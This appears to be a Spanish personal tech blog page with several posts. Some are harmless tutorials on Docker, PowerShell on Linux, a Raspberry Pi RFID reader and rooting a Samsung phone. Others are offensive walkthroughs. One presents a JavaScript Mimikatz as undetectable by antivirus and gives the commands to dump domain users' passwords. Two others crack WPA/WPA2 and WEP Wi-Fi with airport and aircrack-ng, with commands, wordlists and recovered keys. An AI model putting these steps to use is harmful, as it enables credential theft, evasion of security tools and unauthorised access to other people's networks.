Mostrando entradas con la etiqueta Aplicaciones. Mostrar todas las entradas
Mostrando entradas con la etiqueta Aplicaciones. Mostrar todas las entradas

miércoles, 29 de mayo de 2019

Docker en Debian 9 Stretch



Docker:

Docker es un proyecto de código abierto con el cuál podemos crear contenedores.

Un contenedor es un prisma rectangular de gran tamaño que suelen utilizar los barcos para transportar mercaderías y suele tener dentro distintos tipos de productos. Docker vendría a ser como el transportador de esos containers, es decir el barco.

Llevado a la informática se utiliza para que aplicaciones de software puedan ejecutarse en cualquier máquina, independizandose del sistema operativo.

Es una especie de empaquetado de sofware que se puede llevar de un lado a otro.

Docker permite meter todo lo que se necesite para que una aplicación funcione y se ejecute correctamente.
Por ejemplo debe contener algo como: java, tomcat, nginx, la aplicación en si misma, librerias, binarios y todo lo que necesite para funcionar.

Si llevo ese contenedor a otro servidor donde esté docker instalado debería funcionar correctamente.


Docker Hub:

Es un repositorio donde los usuarios de docker y los partners crean, testean, guardan y distribuyen imagenes de contenedores.

Es un lugar de donde me puedo bajar contenedores ya armados y listos para usar. Por ejemplo un debian oficial, un linux customizado, un ubuntu con paquetes ya instalados, un webserver ya listo para usarse, etc.


Docker Files:

Se pueden crear imágenes a partir de un archivo llamado Dockerfile.


Instalando docker:
apt-get install apt-transport-https ca-certificates curl gnupg2 software-properties-common
curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -
add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/debian stretch stable"
apt-get update
apt-get install docker-ce 


Verificamos que Docker se este ejecutando:
/etc/init.d/docker status




Vemos todas las imágenes de debian en dockerhub:
docker search debian



Si quiero descargar una imagen utilizo el docker pull:
docker pull debian



Para ver las imagenes que tengo ya descargadas:
docker images



Ver contenedores ejecutando:

No tenemos contenedores corriendo, por ahora solo lo descargamos.

docker ps



Ejecutar un contenedor:

Utilizaremos la imagen de debian oficial que bajamos anteriormente con el comando pull:

Utilizaremos losbparámetros -t de tty y el -i de interactivo y le decimos que ejecute un bash. Vemos como nos cambió el prompt:

docker run -t -i debian /bin/bash



Instalamos paquetes en el container:

Hacemos un update de los repositorios e instalamos nginx, wget y vim.

root@1363037a2fad:/# apt-get update && apt-get -y install wget vim nginx



Tener en cuenta que puedo salir del contenedor con exit ó Ctrl+d pero dejará de ejecutarse el contenedor.

Si quisiera volver a tener el mismo container corriendo tendría que volver a instalar todo lo que instalé antes ya que no guarde los cambios en una imagen.

Para guardar esos cambios en una imagen primero debo salir sin matar el contenedor, para eso ejecutamos Ctrl+p+q y veremos que vuelve el prompt.



Si ahora ejecutamos el comando docker ps veremos que sigue corriendo ese container:

docker ps



Crear una imagen:

Ahora voy a guardar la imagen modificada, pero con otro nombre.

Primero obtenemos el ID del contenedor en ejecución (f5b9be35915d) con el comando "docker ps".

Guardaremos los cambios en una nueva imagen llamada nginx-debian:1.0. Esto lo hacemos con "docker commit [id-del-contenedor] [nombre-nueva-imagen] por ejemplo:

docker commit f5b9be35915d nginx-debian:1.0



Verificamos la creacion de la imagen:

root@debian:~# docker images



Salimos de un contenedor sin que quede en ejecución:

Primero verificamos que no hay contenedor corriendo:

docker ps

Verificamos que imagenes podemos usar para crear un contenedor:

docker images 

Iniciar un contenedor interactivo con la imagen que guardamos previamente llamada nginx-debian versión 1.0:

docker run -it nginx-debian:1.0

Salimos del contenedor con exit ó con Ctrl+d:

root@8c80b4f2c09e:/# exit

Verificamos que el contenedor no está corriendo:

docker ps



Si quiero borrar una imagen hacemos lo siguiente:

Vemos las imágenes disponibles:

docker images

Eliminamos la imagen nginx-debian v1.0:

docker rmi -f nginx-debian:1.0

Volvemos a ver que fue eliminada:

docker images




Creando una imagen con Dockerfile:

Creamos la carpeta y archivo Cockerfile y lo editamos:
mkdir -p /var/Dockerfile/nginx
vi /var/Dockerfile/nginx/Dockerfile

Dentro ponemos lo siguiente, este archivo debería utilizar un contenedor debian, indica que Hernan es el que la mantiene, actualiza los repo, instala en nginx lo expone en el puerto 8888 e inicia el demonio del nginx:
FROM debian
MAINTAINER HERNAN
RUN apt-get update && apt-get install -y nginx && apt clean
EXPOSE 8888
RUN /etc/init.d/nginx start

Ejecutamos el build posicionandonos donde está el docker file:
cd /var/Dockerfile/nginx/
docker build . 



Verificamos las imagenes:

root@debian:~# docker images
REPOSITORY                           TAG                 IMAGE ID            CREATED             SIZE
debian-apache                        latest              af0593cb85eb        59 seconds ago      225MB
debian                               latest              8d31923452f8        3 weeks ago         101MB

Vemos que no hay nada corriendo, ejecutamos la imagen debian-apache y verificamos que ahora corre:

root@debian:~# docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES

root@debian:~#
root@debian:~# docker run -p 8181:80 debian-apache-bis /usr/sbin/apache2ctl -D FOREGROUND
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 172.17.0.2. Set the 'ServerName' directive globally to suppress this message



Si ingresamos a la ip del docker, no la del contenedor, deberíamos ingresar al puerto 8181 y nos reenviaría al apache 80 del contenedor:

http://debian:8181/


Matamos el contenedor que habia quedado corriendo:

root@debian:~# docker ps
CONTAINER ID        IMAGE               COMMAND                  CREATED                                                          STATUS              PORTS                          NAMES
68c121179ab3        debian-apache-bis   "/usr/sbin/apache2ct…"   12 minutes ago                                                   Up 12 minutes       81/tcp, 0.0.0.0:8181->80/tcp   vigorous_benz
root@debian:~# docker kill 68c121179ab3

viernes, 18 de enero de 2019

Instalar PowerShell en Linux



Vamos a instalar PowerShell Core en Linux, esto fué probado en un Debian 9

Primero descargamos el tar.gz:
root@debian:~# curl -L -o /tmp/powershell.tar.gz https://github.com/PowerShell/PowerShell/releases/download/v6.1.0/powershell-6.1.0-linux-x64.tar.gz

Creamos la carpeta donde lo almacenaremos:
root@debian:~# mkdir -p /opt/microsoft/powershell/6.1.0

Descomprimimos:
root@debian:~# tar zxf /tmp/powershell.tar.gz -C /opt/microsoft/powershell/6.1.0

Damos permisos de ejecución:
root@debian:~# chmod +x /opt/microsoft/powershell/6.1.0/pwsh

Creamos en enlace simbólico:
root@debian:~# ln -s /opt/microsoft/powershell/6.1.0/pwsh /usr/bin/pwsh

FUENTE: https://docs.microsoft.com/en-us/powershell/scripting/install/installing-powershell-core-on-linux?view=powershell-6

viernes, 1 de septiembre de 2017

Lector de Tarjetas RFID-RC522 en Raspberry Pi B+


Les dejo un extracto de wikipedia de lo que es RFID:
RFID o identificación por radiofrecuencia (del inglés Radio Frequency Identification) es un sistema de almacenamiento y recuperación de datos remoto que usa dispositivos denominados etiquetas, tarjetas o transpondedores RFID. El propósito fundamental de la tecnología RFID es transmitir la identidad de un objeto (similar a un número de serie único) mediante ondas de radio. Las tecnologías RFID se agrupan dentro de las denominadas Auto ID (automatic identification, o identificación automática).
Las etiquetas RFID (RFID tag en inglés) son unos dispositivos pequeños, similares a una pegatina, que pueden ser adheridas o incorporadas a un producto, un animal o una persona. Contienen antenas para permitirles recibir y responder a peticiones por radiofrecuencia desde un emisor-receptor RFID. Las etiquetas pasivas no necesitan alimentación eléctrica interna, mientras que las activas sí lo requieren. Una de las ventajas del uso de radiofrecuencia (en lugar, por ejemplo, de infrarrojos) es que no se requiere visión directa entre emisor y receptor.


Primero conectamos el RFID-RC522 a los pines GPIO de la Raspberry pi:

3.3v   al PIN-1   (el que se identifica en la placa con P1 en la imagen el de arriba a la izquierda)
RST   al PIN 22 (GPIO25 verde)
GND  al PIN 6   (GND negro)
MISO al PIN 21 (GPIO 9 verde)
SCK   al PIN 23 (GPIO 11 verde)
SDA   al PIN 24 (GPIO 8 verde)
IRQ no lo utilizamos


Les dejo la imagen de la raspberry que utilicé y sus pines GPIO:


Habilitamos el SPI:
pi@raspberrypi:~ $ sudo raspi-config






Reiniciamos la raspberry:
sudo reboot


Verificamos que haya cargado el spi:
pi@raspberrypi:~ $ lsmod |grep spi


Instalamos ó verificamos que tengamos python instalado:
pi@raspberrypi:~ $ sudo apt-get install python2.7-dev



Descargamos SPI-Py con git y lo instalamos:

pi@raspberrypi:~ $ git clone https://github.com/lthiery/SPI-Py.git
pi@raspberrypi:~ $ cd SPI-Py 
pi@raspberrypi:~ $  sudo python setup.py install



Instalamos MFRC522-python y ejecutamos el Read.py, probar leer la tarjeta y el llavero:

Les dejo un video usandolo:



Fuentes: 

https://es.wikipedia.org/wiki/RFID
https://github.com/lthiery/SPI-Py/
https://github.com/mxgxw/MFRC522-python

lunes, 14 de agosto de 2017

Mimikatz Indetectable

Leí por ahí lo fácil que era usar Mimikatz, pero era detectado por cualquier antivirus. Buscando un poco me topé con que hay una versión en Java Script que es indetectable. 

Descargamos el katz.js del siguiente enlace:
https://gist.github.com/subTee/b30e0bcc7645c790fcd993cfd0ad622f/archive/2adcc9d2570b4367c6cc405e5a5969863d04fc9b.zip

Lo ejecutamos simplemente con el siguiente comando y esperamos unos minutos:

c:\> cscript katz.js



Finalmente ejecutamos estos dos comandos:

privilege::debug
sekurlsa::logonpasswords

Y obtendremos los usuarios, el dominio y sus contraseñas:



FUENTE: https://github.com/gentilkiwi/mimikatz

domingo, 25 de junio de 2017

Rootear Samsung Galaxy J3

Fue probado en el siguiente equipo:

Dispositivo: Samsung Galaxy J3 (2016)
Número de Modelo: SM-J320M
Versión de Android: 5.1.1


Comenzamos con el instructivo:

Vamos a "Ajustes" del teléfono => "Acerca del dispositivo" => "Info. Software" => Hacemos 3 clicks sobre "Número de compilación" y se activará modo de desarrollador.

Volvemos a "Ajustes" => "Opciones de desarrollador" y activamos => Habilitamos "Depuración de USB"


También el "Desbloqueo OEM"



Descargamos el SuperSU: SR3-SuperSU-v2.79-SR3-20170114223742.zip del siguiente enlace:



Conectamos el USB al celular y a la computadora y copiamos el archivo descargado previamente en la targeta externa dentro de una carpeta Download, sino existe la creamos:



Descargamos odin3_v3.12.5 y el TWRP_3.0.2-0_SM-J320F.tar.md5 respectivamente de los siguientes links:



Ejecutar el odin, hacer click en "Options" y destildar las opciones "Auto Reboot" y "F. Reset Time"


   
Hacer click en AP y nos abrirá una ventana en la cual le indicamos la ruta de: TWRP_3.0.2-0_SM-J320F.tar.md5



Desconectamos el teléfono del cable USB y lo apagamos.


Con el celular apagado -> presionamos las teclas de: "Home"+"Encendido"+"Bajar Volumen"

Cuando aparece la siguiente imagen damos "Subir Volumen":



Conectamos el celular al USB conectado a la computadora.

Vemos el odin la solapa Log que figura que fue detectado y damos click en "Start" y vemos también en el celular carga una barra:



Aparece que todos los hilos fueron completos y aparece PASS:



Desconectamos el cable y sacamos la batería para apagarlo.

Volvemos a ponerle la batería y presionamos las teclas juntas para encenderlo: "Home"+"Subir Volumen"+"Encendido"

Aparece el celular iniciando con un mensajito verde arriba a la izquierda y luego carga un menú en russo, no asustarse, clickear el botón gris de abajo a la izquierda:


Seleccionamos instalar como indica la imagen arriba a la izquierda:


Buscamos donde subimos el archivo en la tarjeta de memoria tocando el botón gris de abajo a la izquierda:


Elegimos Micro SDCard:


Vamos a la carpeta Download:


Seleccionamos el archivo SR3-SuperSU ...


Desplazamos la barra naranja de abajo a la derecha:


Y esperamos que aparezca rotoBo que indica que finalizó:


Volvemos atrás con el triángulo que indica a la izquierda < dos veces hasta volver al menú con los botones y tocamos el botón de reinicio de abajo a la derecha:


El sistema -> Tecla de arriba a la izquierda:


Si aparece instalar SU le damos que no, a mi particularmente no me apareció.


Esperamos que reinicie y debe aparecer "Iniciando Android ..." "Abriendo aplicaciones" Tarda varios minutos:



Descargamos y ejecutamos del play store el SuperSU y creamos un nuevo usuario.

       KNOX => Aceptar

Después instalamos el "Root checker" también del play store para ver que realmente tenemos permisos de root:


FUENTE

domingo, 28 de mayo de 2017

Hacking WPA y WPA2 por Fuerza Bruta desde MacOS



Escaneamos con airport para detectar todas las wifi disponibles. La que aparece en rojo es mi WiFi que intentaré romper:

MacBook:~ root# /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
                            SSID BSSID             RSSI CHANNEL HT CC SECURITY (auth/unicast/group)
                   Speedy-B00FE4 f8:8f:97:b0:0f:ed -76  1       N  -- WEP
                   Speedy-CB6F98 e0:19:1d:cb:6f:a0 -57  1       Y  AR WPA(PSK/TKIP,AES/TKIP) WPA2(PSK/TKIP,AES/TKIP)
                       Btzl-wifi 00:e0:4d:80:d2:94 -73  9       N  -- WPA(PSK/TKIP/TKIP)
                           Jotan a4:2b:b0:d7:69:50 -59  10,-1   Y  -- WPA(PSK/AES/AES) WPA2(PSK/AES/AES)
                           Mi_Wifi c9:d6:fe:7d:ef:a8 -39  6       N  -- WPA2(PSK/TKIP/TKIP) 


En el comando previo obtenemos el canal de la wifi WPA2 que queremos romper (canal 6). El en0 es el nombre de la interface wifi de mi mac. Lo dejamos corriendo para que capture:

MacBook:~ root# /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 sniff 6
Capturing 802.11 frames on en0.


Abrimos otra terminal mientras y dejamos pingueamos a cualquier ip para generar tráfico:

MacBook:~ root# ping 8.8.8.8
Request timeout for icmp_seq 135
ping: sendto: No route to host
Request timeout for icmp_seq 136
ping: sendto: No route to host


Creamos la lista de posibles password, obviamente que yo puse la mía que sabía que era, si no la conocemos tenemos que bajar alguna wordlist de internet ó generar todas las posibles combinaciones con algun programa. Yo puse pocos password para que finalice rápido el proceso.

MacBook:~ root# vi wordlist.lst
algo
alguna
Cualquiera
laClaveWifi
Admin
password
pass
1234
….
clave


Empezamos a romper usando fuerza bruta desde la lista de posibles contraseñas (wordlist.lst), luego del -b pondremos el BSSID de la wifi elegida para romper y por último parámetro indicamos el archivo .cap que fue generado con el airport (2 comando ejecutado).

MacBook:~ root# aircrack-ng -w wordlist.lst -b c9:d6:fe:7d:ef:a8 /tmp/airportSniffC5nL70.cap
Opening /tmp/airportSniffC5nL70.cap
Reading packets, please wait...
                                 Aircrack-ng 1.1
                   [00:00:00] 4 keys tested (280.31 k/s)
                          KEY FOUND! [ laClaveWifi ]



Cuando aparece KEY FOUND ya tenemos la clave, es la que aparece entre corchetes, en este caso es: laClaveWifi


Se pueden bajar wordlist de varios lugares, por ejemplo acá les dejo una en español para que prueben: https://packetstormsecurity.com/files/download/32018/spanish.gz ó de cualquier idioma: https://packetstormsecurity.com/Crackers/wordlists/language/


Crackeando WPE WiFi con AirCrack-NG desde Mac



Descargar e instalar brew para instalar otros paquetes:

$ ruby -e "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install)"


Instalar el Xcode del Apple Store:



Instalamos Aircrack-ng con el gestor brew:

$ brew install aircrack-ng


Ver canales para sniffear:

root# /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
SSID                      BSSID                   RSSI   CHANNEL HT CC  SECURITY (auth/unicast/group)
Speedy-4325C1     34:4b:50:42:55:c1 -85      1                  N     --   WEP
Speedy-B11FE4    f2:31:98:b1:0f:ed    -79      1                  N     --   WEP
Speedy-AB1J4C    c3:d6:fa:71:3e:68   -82      11                 N     --   WEP


El en0 es la interface wifi y el 11 es el canal del comando previo. Este comando generará un .cap en el /tmp que utilizaremos posteriormente. Tenemos que dejar que corra un largo rato.
root# /System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport en0 sniff 11 
Capturing 802.11 frames on en0.

Ejecutamos por ultimo el aircrack con la mac del SSID a crackear y la ruta al .cap generado por el comando anterior:

root# aircrack-ng -1 -a 1 -b c3:d6:fa:71:3e:68 /tmp/airportSniffmNzwZc.cap


Finalmente aparecerá algo similar a lo siguiente como resultado si logró romper la wifi: 

KEY FOUND! [ 32:30:65:61:63 ] (ASCII: 20eac )

Decrypted correctly: 100%


Para conectarnos a la wifi tendremos que conectarnos a la red seleccionada:

SSID: Speedy-AB1J4C
Password: 3230656163